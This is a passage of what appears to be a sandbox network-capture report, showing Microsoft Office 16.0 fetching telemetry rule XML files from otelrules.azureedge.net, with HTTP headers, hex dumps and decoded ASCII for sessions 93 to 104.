<?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:18 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 910f2ee4-d01e-00a1-4df4-4435b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165518Z-174f7845968xr5c2hC1EWRd0hn0000000r3000000000a3p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:18 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:18 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9135d871-d01e-00a1-3102-4535b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165518Z-174f7845968vqt9xhC1EWRgten000000167000000000m8dp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:18 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:18 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: bd78242f-a01e-003d-3eee-4498d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165518Z-174f7845968cs2nkhC1EWR2tq000000001u000000000qns9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:18 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:19 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 357a15c2-f01e-001f-47c7-435dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165519Z-174f7845968j6t2phC1EWRcfe8000000168000000000vcca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:19 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:20 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:20 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:20 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb9ca025-001e-00ad-031e-45554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165520Z-174f7845968px8v7hC1EWR08ng00000016bg00000000v9rm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:20 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:20 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:20 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 87286592-701e-0053-7b27-443a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165520Z-174f7845968xlwnmhC1EWR0sv800000016500000000009dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:20 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:20 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:20 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 28a5aaf6-701e-000d-6b47-416de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165520Z-174f7845968cdxdrhC1EWRg0en000000164000000000m12x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:21 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:20 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:21 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: d5cddda4-c01e-0049-19ee-44ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165521Z-174f7845968psccphC1EWRuz9s00000016c000000000rz07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:21 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:21 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:21 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 13d8e9aa-301e-0020-7d2e-416299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165521Z-174f784596886s2bhC1EWR743w00000016a0000000005uu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:21 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:22 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:22 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a7f5da2f-b01e-0070-7a69-431cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165522Z-174f78459685726chC1EWRsnbg000000169000000000b81h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:23 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:22 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:23 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2df421c-b01e-0021-5593-43cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165523Z-174f7845968nxc96hC1EWRspw800000015w000000000r77p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:23 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:22 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:23 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 83136512-401e-00ac-3a5a-400a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165523Z-174f7845968zgtf6hC1EWRqd8s0000000z4000000000m3ns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:23 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

